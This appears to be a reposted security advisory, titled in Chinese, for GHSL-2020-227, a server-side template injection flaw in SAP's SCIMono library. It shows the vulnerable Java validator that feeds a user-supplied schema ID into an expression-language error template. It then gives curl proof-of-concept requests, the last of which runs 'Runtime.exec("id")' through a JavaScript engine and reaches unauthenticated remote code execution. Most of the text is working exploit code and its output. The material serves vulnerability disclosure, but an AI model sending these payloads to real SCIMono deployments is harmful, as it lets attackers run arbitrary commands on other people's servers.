【漏洞利用】GHSL-2020-227：服务器端模板注入导致 SCIMono 中未经身份验证的远程代码执行 - CVE-2021

public class SchemaIdValidator implements ConstraintValidator<ValidSchemaId, String> {  private static final Pattern SCHEMA_NAME_ALLOWED_PATTERN = Pattern.compile("(^[a-zA-Z])(\\w)+");
  @Override  public boolean isValid(String schemaId, ConstraintValidatorContext context) {    return isValidSchemaId(schemaId, context) && isValidIdentifierName(schemaId, context);  }
  private boolean isValidSchemaId(final String schemaId, ConstraintValidatorContext context) {    if (SchemasCallback.isCustomSchema(schemaId)) {
      return true;    }    ValidationUtil.interpolateErrorMessage(context, generateViolationMessage(schemaId));
    return false;  }
  ...
  private String generateViolationMessage(String attributeName) {    return String.format("The attribute value \"%s\" has invalid value!", attributeName);  }
  ...}

 public static void interpolateErrorMessage(ConstraintValidatorContext context, String errorMessage) {    context.disableDefaultConstraintViolation();    context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();  }

import com.sap.scimono.callback.schemas.SchemasCallback;import com.sap.scimono.entity.schema.Attribute;import com.sap.scimono.entity.schema.Schema;
import javax.ws.rs.WebApplicationException;import javax.ws.rs.core.Response;import java.util.List;
public class Schemas implements SchemasCallback {public Schemas() {    }
public Schema getCustomSchema(String schemaId) {return null;    }
public void createCustomSchema(Schema schema) {    }
public List<Schema> getCustomSchemas() {return null;    }
public void deleteCustomSchema(String schemaId) {    }
public boolean isValidSchemaName(String schemaName) {return true;    }
public Attribute getAttribute(String path) {return null;    }}

@Overridepublic SchemasCallback getSchemasCallback() {return new Schemas();    }

$> curl 'http://localhost:8080/scim/Schemas/$%7B1+1%7D'

[ {"status" : "400","schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],"detail" : "The attribute value \"2\" has invalid value!"} ]

$> curl "http://localhost:8080/scim/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"

[ {"status" : "400","schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],"detail" : "The attribute value \"java.lang.UNIXProcess@3b1d4c18\" has invalid value!"} ]